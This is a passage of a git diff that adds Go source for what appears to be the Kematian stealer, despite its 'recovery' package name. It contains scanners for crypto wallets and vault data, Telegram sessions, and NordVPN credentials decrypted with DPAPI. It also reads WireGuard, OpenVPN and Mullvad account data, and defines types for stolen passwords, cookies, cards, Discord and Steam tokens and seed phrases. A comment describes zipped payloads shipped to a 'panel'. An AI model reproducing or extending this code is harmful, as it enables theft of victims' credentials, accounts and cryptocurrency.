return home + case "home_data": + xdg := os.Getenv("XDG_DATA_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".local", "share") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "localappdata": + return filepath.Join(home, ".local", "share") + case "userprofile": + return home + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram_windows.go b/Kematian-Standalone/native/recovery/scanner/telegram_windows.go new file mode 100644 index 0000000..6417dc0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram_windows.go @@ -0,0 +1,27 @@ +//go:build windows + +package scanner + +import "os" + +func getTelegramPaths() []telegramPathConfig { + return []telegramPathConfig{ + {"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"}, + {"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"}, + {"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"}, + {"64Gram", `64Gram Desktop\tdata`, "appdata"}, + {"Unigram", `Unigram\$local\tdata`, "localappdata"}, + } +} + +func resolveTelegramBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets.go b/Kematian-Standalone/native/recovery/scanner/wallets.go new file mode 100644 index 0000000..aa6123f --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets.go @@ -0,0 +1,179 @@ +package scanner + +import ( + "bufio" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +type walletConfig struct { + Name string + SubPath string + Base string // "appdata", "localappdata", "userprofile", "home" +} + +var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`) +var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`) + +const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file +const maxAddresses = 50 + +func ScanWallets() []types.WalletResult { + var results []types.WalletResult + results = append(results, scanDesktopWallets()...) + results = append(results, scanBrowserWalletData()...) + return results +} + +func scanDesktopWallets() []types.WalletResult { + var results []types.WalletResult + for _, w := range getDesktopWalletPaths() { + base := resolveWalletBase(w.Base) + if base == "" { + continue + } + + dir := filepath.Join(base, w.SubPath) + info, err := os.Stat(dir) + if err != nil || !info.IsDir() { + continue + } + + files, totalSize := countDirContents(dir) + if files == 0 { + continue + } + + wr := types.WalletResult{ + Name: w.Name, + Type: "desktop", + Path: dir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(dir) + results = append(results, wr) + } + return results +} + +func scanBrowserWalletData() []types.WalletResult { + var results []types.WalletResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + lesDir := filepath.Join(profile.Path, "Local Extension Settings") + for extID, walletName := range knownWalletExtensions { + extDataDir := filepath.Join(lesDir, extID) + info, err := os.Stat(extDataDir) + if err != nil || !info.IsDir() { + continue + } + files, totalSize := countDirContents(extDataDir) + if files == 0 { + continue + } + wr := types.WalletResult{ + Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name), + Type: "extension", + Path: extDataDir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(extDataDir) + wr.VaultData = extractVaultData(extDataDir) + results = append(results, wr) + } + } + } + return results +} + +func extractAddressesFromDir(dir string) []string { + seen := make(map[string]bool) + var addrs []string + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + + scanner := bufio.NewScanner(f) + scanner.Buffer(make([]byte, 256*1024), 256*1024) + for scanner.Scan() { + matches := ethAddrRe.FindAllString(scanner.Text(), -1) + for _, m := range matches { + addr := strings.ToLower(m) + if !seen[addr] { + seen[addr] = true + addrs = append(addrs, m) + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + } + } + } + return nil + }) + return addrs +} + +func extractVaultData(dir string) string { + var vault string + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || vault != "" { + return nil + } + ext := strings.ToLower(filepath.Ext(path)) + if ext != ".ldb" && ext != ".log" { + return nil + } + if info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + + data, err := os.ReadFile(path) + if err != nil { + return nil + } + match := vaultRe.Find(data) + if match != nil { + vault = string(match) + return filepath.SkipAll + } + return nil + }) + return vault +} + +func countDirContents(dir string) (int, int64) { + var count int + var totalSize int64 + filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + return count, totalSize +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets_unix.go b/Kematian-Standalone/native/recovery/scanner/wallets_unix.go new file mode 100644 index 0000000..9bcb385 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets_unix.go @@ -0,0 +1,60 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getDesktopWalletPaths() []walletConfig { + if runtime.GOOS == "darwin" { + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "appdata"}, + {"Exodus", "Exodus/exodus.wallet", "appdata"}, + {"Electrum", "Electrum/wallets", "home_dot"}, + {"Ethereum", "Ethereum/keystore", "home_dot"}, + {"Coinomi", "Coinomi/wallets", "appdata"}, + } + } + // Linux + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "config"}, + {"Exodus", "Exodus/exodus.wallet", "config"}, + {"Electrum", ".electrum/wallets", "home"}, + {"Electrum-LTC", ".electrum-ltc/wallets", "home"}, + {"Ethereum", ".ethereum/keystore", "home"}, + {"Monero", "Monero/wallets", "home"}, + {"Armory", ".armory", "home"}, + {"Bytecoin", ".bytecoin", "home"}, + {"Coinomi", ".coinomi/Coinomi/wallets", "home"}, + } +} + +func resolveWalletBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home", "userprofile": + return home + case "home_dot": + return filepath.Join(home, ".") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "config": + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") + case "localappdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".local", "share") + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets_windows.go b/Kematian-Standalone/native/recovery/scanner/wallets_windows.go new file mode 100644 index 0000000..4d4e78f --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets_windows.go @@ -0,0 +1,37 @@ +//go:build windows + +package scanner + +import "os" + +func getDesktopWalletPaths() []walletConfig { + return []walletConfig{ + {"Atomic", `atomic\Local Storage\leveldb`, "appdata"}, + {"Exodus", `Exodus\exodus.wallet`, "appdata"}, + {"Electrum", `Electrum\wallets`, "appdata"}, + {"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"}, + {"Zcash", `Zcash`, "appdata"}, + {"Armory", `Armory`, "appdata"}, + {"Bytecoin", `bytecoin`, "appdata"}, + {"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"}, + {"Ethereum", `Ethereum\keystore`, "appdata"}, + {"Guarda", `Guarda\Local Storage\leveldb`, "appdata"}, + {"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"}, + {"Monero", `Documents\Monero\wallets`, "userprofile"}, + } +} + +func resolveWalletBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + case "home": + home, _ := os.UserHomeDir() + return home + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/types/types.go b/Kematian-Standalone/native/recovery/types/types.go new file mode 100644 index 0000000..927295f --- /dev/null +++ b/Kematian-Standalone/native/recovery/types/types.go @@ -0,0 +1,275 @@ +package types + +type BrowserConfig struct { + Name string + UserDataPath string + ProcessName string + UseAppData bool + IsFirefox bool + FlatProfile bool +} + +type ProfileInfo struct { + Name string + Path string +} + +type CollectOptions struct { + Browsers bool `json:"browsers"` + Passwords bool `json:"passwords"` + Cookies bool `json:"cookies"` + Autofill bool `json:"autofill"` + History bool `json:"history"` + Bookmarks bool `json:"bookmarks"` + CreditCards bool `json:"creditCards"` + Discord bool `json:"discord"` + Files bool `json:"files"` + Wallets bool `json:"wallets"` + Telegram bool `json:"telegram"` + Keys bool `json:"keys"` + Apps bool `json:"apps"` + Gaming bool `json:"gaming"` + VPNs bool `json:"vpns"` +} + +type ResolvedKeys struct { + V10 []byte + V20 []byte +} + +type PasswordResult struct { + URL string `json:"url"` + Username string `json:"username"` + Password string `json:"password"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CookieResult struct { + Host string `json:"host"` + Name string `json:"name"` + Value string `json:"value"` + Path string `json:"path"` + Secure bool `json:"secure"` + HTTPOnly bool `json:"httpOnly"` + ExpiresUTC int64 `json:"expiresUtc"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type AutofillResult struct { + Name string `json:"name"` + Value string `json:"value"` + DateCreated int64 `json:"dateCreated"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type HistoryResult struct { + URL string `json:"url"` + Title string `json:"title"` + VisitTimeUnix int64 `json:"visitTimeUnix"` + VisitCount int64 `json:"visitCount"` + LastVisitTime int64 `json:"lastVisitTime"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type BookmarkResult struct { + Name string `json:"name"` + URL string `json:"url"` + Type string `json:"type"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CreditCardResult struct { + NameOnCard string `json:"nameOnCard"` + ExpirationMonth int `json:"expirationMonth"` + ExpirationYear int `json:"expirationYear"` + CardNumber string `json:"cardNumber"` + Nickname string `json:"nickname"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type DiscordTokenResult struct { + Token string `json:"token"` + Source string `json:"source"` +} + +type FileResult struct { + Path string `json:"path"` + Name string `json:"name"` + Ext string `json:"ext"` + Size int64 `json:"size"` + Modified int64 `json:"modified"` + Dir string `json:"dir"` + Tags []string `json:"tags,omitempty"` +} + +type ExtensionResult struct { + ExtID string `json:"extId"` + Name string `json:"name"` + Version string `json:"version"` + Browser string `json:"browser"` + Profile string `json:"profile"` + Path string `json:"path"` + Category string `json:"category,omitempty"` +} + +type WalletResult struct { + Name string `json:"name"` + Type string `json:"type"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` + Addresses []string `json:"addresses,omitempty"` + VaultData string `json:"vaultData,omitempty"` +} + +type AppCredentialResult struct { + Application string `json:"application"` + Host string `json:"host,omitempty"` + Port int `json:"port,omitempty"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + Protocol string `json:"protocol,omitempty"` + Extra string `json:"extra,omitempty"` +} + +type CollectionResult struct { + Passwords []PasswordResult `json:"passwords,omitempty"` + Cookies []CookieResult `json:"cookies,omitempty"` + Autofill []AutofillResult `json:"autofill,omitempty"` + History []HistoryResult `json:"history,omitempty"` + Bookmarks []BookmarkResult `json:"bookmarks,omitempty"` + CreditCards []CreditCardResult `json:"creditCards,omitempty"` + DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"` + Files []FileResult `json:"files,omitempty"` + Extensions []ExtensionResult `json:"extensions,omitempty"` + Wallets []WalletResult `json:"wallets,omitempty"` + Telegram []TelegramResult `json:"telegram,omitempty"` + Keys []KeyResult `json:"keys,omitempty"` + AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"` + Gaming *GamingResult `json:"gaming,omitempty"` + VPNs *VPNResult `json:"vpns,omitempty"` + Errors []string `json:"errors,omitempty"` +} + +type TelegramResult struct { + Account string `json:"account"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` +} + +type KeyResult struct { + Type string `json:"type"` + Name string `json:"name"` + Path string `json:"path"` + Size int64 `json:"size"` + Content string `json:"content,omitempty"` +} + +type SeedResult struct { + Source string `json:"source"` + Path string `json:"path"` + Phrase string `json:"phrase"` + Words int `json:"words"` +} + +type GameInfo struct { + ID string `json:"id"` + Name string `json:"name"` + Installed bool `json:"installed"` + Running bool `json:"running"` +} + +type SteamResult struct { + SteamPath string `json:"steamPath,omitempty"` + AutoLogin string `json:"autoLogin,omitempty"` + RememberPW bool `json:"rememberPw,omitempty"` + Account string `json:"account,omitempty"` + Token string `json:"token,omitempty"` + SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"` + SSFNFiles []string `json:"ssfnFiles,omitempty"` + Games []GameInfo `json:"games,omitempty"` +} + +// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID. +// Format: . (steamID is the part before the first dot). +type SteamTokenResult struct { + SteamID string `json:"steamId"` + Token string `json:"token"` +} + +type BattleNetResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type EpicResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type RiotResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type UplayResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type GamingResult struct { + Steam *SteamResult `json:"steam,omitempty"` + BattleNet []BattleNetResult `json:"battleNet,omitempty"` + Epic []EpicResult `json:"epic,omitempty"` + Riot []RiotResult `json:"riot,omitempty"` + Uplay []UplayResult `json:"uplay,omitempty"` +} + +type NordVPNResult struct { + Version string `json:"version"` + Username string `json:"username"` + Password string `json:"password"` +} + +type WireGuardResult struct { + Name string `json:"name"` + Interface string `json:"interface,omitempty"` + Peer string `json:"peer,omitempty"` + Endpoint string `json:"endpoint,omitempty"` +} + +type OpenVPNResult struct { + Name string `json:"name"` + Path string `json:"path"` +} + +type MullvadResult struct { + AccountNumber string `json:"accountNumber"` + SettingsPath string `json:"settingsPath"` + Content string `json:"content,omitempty"` +} + +type VPNResult struct { + NordVPN []NordVPNResult `json:"nordvpn,omitempty"` + WireGuard []WireGuardResult `json:"wireguard,omitempty"` + OpenVPN []OpenVPNResult `json:"openvpn,omitempty"` + Mullvad []MullvadResult `json:"mullvad,omitempty"` +} + +// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder, +// Telegram session or Steam login files. Sent together with the result over +// E2EE so the panel can host + back it up. +type Payload struct { + Category string `json:"category"` + Name string `json:"name"` + Filename string `json:"filename"` + Size int `json:"size"` + Data []byte `json:"data"` // base64-encoded by the JSON layer +} diff --git a/Kematian-Standalone/native/recovery/vpn_stub.go b/Kematian-Standalone/native/recovery/vpn_stub.go new file mode 100644 index 0000000..c124c26 --- /dev/null +++ b/Kematian-Standalone/native/recovery/vpn_stub.go @@ -0,0 +1,186 @@ +//go:build !windows + +package recovery + +import ( + "encoding/json" + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + WireGuard: scanWireGuardUnix(), + OpenVPN: scanOpenVPNUnix(), + Mullvad: scanMullvadUnix(), + } + if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanWireGuardUnix() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{"/etc/wireguard"} + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard") + } + home, _ := os.UserHomeDir() + if home != "" { + configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard")) + } + + for _, configDir := range configDirs { + if !pathExists(configDir) { + continue + } + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") { + continue + } + filePath := filepath.Join(configDir, e.Name()) + confData, err := os.ReadFile(filePath) + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range strings.Split(string(confData), "\n") { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: e.Name(), + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func scanOpenVPNUnix() []types.OpenVPNResult { + var results []types.OpenVPNResult + home, _ := os.UserHomeDir() + + ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"} + if home != "" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, ".config", "openvpn"), + filepath.Join(home, "OpenVPN", "config"), + ) + if runtime.GOOS == "darwin" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"), + ) + } + } + + for _, ovpnDir := range ovpnDirs { + if !pathExists(ovpnDir) { + continue + } + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvadUnix() []types.MullvadResult { + var results []types.MullvadResult + + configDirs := []string{"/etc/mullvad-vpn"} + home, _ := os.UserHomeDir() + if home != "" { + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, + filepath.Join(home, "Library", "Application Support", "Mullvad VPN"), + ) + } else { + configDirs = append(configDirs, + filepath.Join(home, ".config", "Mullvad VPN"), + ) + } + } + + for _, dir := range configDirs { + if !pathExists(dir) { + continue + } + for _, name := range []string{"settings.json", "account-history.json"} { + path := filepath.Join(dir, name) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + continue + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + break + } + } + } + } + + return results +} + +func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/vpn_windows.go b/Kematian-Standalone/native/recovery/vpn_windows.go new file mode 100644 index 0000000..703d9ea --- /dev/null +++ b/Kematian-Standalone/native/recovery/vpn_windows.go @@ -0,0 +1,390 @@ +//go:build windows + +package recovery + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + NordVPN: scanNordVPN(), + WireGuard: scanWireGuard(), + OpenVPN: scanOpenVPN(), + Mullvad: scanMullvad(), + } + if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanNordVPN() []types.NordVPNResult { + var results []types.NordVPNResult + + nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN") + logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir)) + if !pathExists(nordDir) { + return nil + } + + entries, err := os.ReadDir(nordDir) + if err != nil { + return nil + } + + for _, e := range entries { + if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") { + continue + } + + versionsDir := filepath.Join(nordDir, e.Name()) + subEntries, _ := os.ReadDir(versionsDir) + + for _, sub := range subEntries { + if !sub.IsDir() { + continue + } + configPath := filepath.Join(versionsDir, sub.Name(), "user.config") + if !pathExists(configPath) { + continue + } + + data, err := os.ReadFile(configPath) + if err != nil || len(data) == 0 { + continue + } + + username := extractNordVPNValue(data, "Username") + password := extractNordVPNValue(data, "Password") + + if username != "" && password != "" { + results = append(results, types.NordVPNResult{ + Version: e.Name(), + Username: username, + Password: password, + }) + } + } + } + + return results +} + +func extractNordVPNValue(data []byte, field string) string { + content := string(data) + idx := strings.Index(content, `name="`+field+`"`) + if idx == -1 { + return "" + } + + start := strings.Index(content[idx:], "") + end := strings.Index(content[idx:], "") + if start == -1 || end == -1 || end < start { + return "" + } + + raw := content[idx+start+7 : idx+end] + decoded, err := base64.StdEncoding.DecodeString(raw) + if err != nil { + return raw + } + + plaintext, err := dpapiDecrypt(decoded, nil) + if err != nil || len(plaintext) == 0 { + return raw + } + + return strings.TrimRight(string(plaintext), "\x00") +} + +func scanWireGuard() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{ + `C:\Program Files\WireGuard\Data\Configurations`, + filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"), + } + + for _, configDir := range configDirs { + logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir)) + if !pathExists(configDir) { + continue + } + + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + logf("[vpn] WireGuard dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() { + continue + } + + name := e.Name() + ext := strings.ToLower(filepath.Ext(name)) + filePath := filepath.Join(configDir, name) + + var confData []byte + + if ext == ".dpapi" { + confData, err = dpapiDecryptFile(filePath) + name = strings.TrimSuffix(name, ".dpapi") + } else if ext == ".conf" { + confData, err = os.ReadFile(filePath) + } else { + continue + } + + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range normLines(string(confData)) { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: name, + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func dpapiDecryptFile(path string) ([]byte, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + return dpapiDecrypt(data, nil) +} + +func scanOpenVPN() []types.OpenVPNResult { + var results []types.OpenVPNResult + + ovpnDirs := []string{ + filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"), + filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"), + } + + for _, ovpnDir := range ovpnDirs { + logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir)) + if !pathExists(ovpnDir) { + continue + } + + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + logf("[vpn] OpenVPN dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvad() []types.MullvadResult { + var results []types.MullvadResult + + mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe") + + systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN` + logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile)) + if pathExists(systemProfile) { + sysSettings := filepath.Join(systemProfile, "settings.json") + logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings)) + mullvadTryJSON(&results, sysSettings) + + sysAcctHistory := filepath.Join(systemProfile, "account-history.json") + logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory)) + mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids) + } + + daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json") + logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings)) + mullvadTryJSON(&results, daemonSettings) + + guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN") + logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir)) + if pathExists(guiDir) { + guiSettings := filepath.Join(guiDir, "gui_settings.json") + logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings)) + mullvadTryJSON(&results, guiSettings) + + lsDir := filepath.Join(guiDir, "Local Storage", "leveldb") + logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir)) + if pathExists(lsDir) { + mullvadScanLevelDB(&results, lsDir, guiDir) + } + } + + acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json") + logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory)) + mullvadReadAccountHistory(&results, acctHistory, mullvadPids) + + legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad` + logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath)) + if pathExists(legacyPath) { + if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 { + var account string + if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 { + account = strings.TrimRight(string(decrypted), "\x00") + } + if account == "" { + for _, line := range normLines(strings.TrimSpace(string(data))) { + line = strings.TrimSpace(line) + if line != "" { + account = line + break + } + } + } + if account != "" && !mullvadAlreadyFound(results, account) { + results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath}) + } + } + } + + return results +} + +func mullvadTryJSON(results *[]types.MullvadResult, path string) { + if !pathExists(path) { + return + } + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + return + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, &token) == nil && token != "" { + logf("[vpn] Mullvad found token via key %q in %s", key, path) + if !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + return + } + } +} + +func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) { + if !pathExists(path) { + return + } + data, err := platform.ReadLockedFile(path, pids) + if err != nil || len(data) == 0 { + logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err) + return + } + rawContent := strings.TrimSpace(string(data)) + logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path) + + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent}) + } + var tokens []string + if json.Unmarshal(data, &tokens) == nil { + for _, t := range tokens { + if t != "" && !mullvadAlreadyFound(*results, t) { + *results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent}) + } + } + } +} + +func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) { + entries, err := os.ReadDir(lsDir) + if err != nil { + return + } + for _, e := range entries { + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := os.ReadFile(filepath.Join(lsDir, e.Name())) + if err != nil || len(data) == 0 { + continue + } + content := string(data) + // Mullvad account numbers are 16 decimal digits + for i := 0; i <= len(content)-16; i++ { + if isDigit(content[i]) { + end := i + for end < len(content) && isDigit(content[end]) { + end++ + } + seq := content[i:end] + if len(seq) == 16 { + logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name()) + if !mullvadAlreadyFound(*results, seq) { + *results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir}) + } + } + i = end + } + } + } +} + +func isDigit(c byte) bool { + return c >= '0' && c <= '9' +} + +func mullvadAlreadyFound(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/ziputil/zip.go b/Kematian-Standalone/native/recovery/ziputil/zip.go new file mode 100644 index 0000000..727b608 --- /dev/null +++ b/Kematian-Standalone/native/recovery/ziputil/zip.go @@ -0,0 +1,83 @@ +package ziputil + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "os" + "path/filepath" +) + +const maxZipSize = 50 * 1024 * 1024 // 50 MB + +func ZipDirectory(dir string) ([]byte, error) { + if _, err := os.Stat(dir); err != nil { + return nil, fmt.Errorf("directory not found: %s", dir) + } + + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + baseName := filepath.Base(dir) + + _ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return nil + } + zipEntry := baseName + "/" + filepath.ToSlash(rel) + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + w, err := zw.Create(zipEntry) + if err != nil { + return nil + } + io.Copy(w, f) //nolint:errcheck + return nil + }) + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil 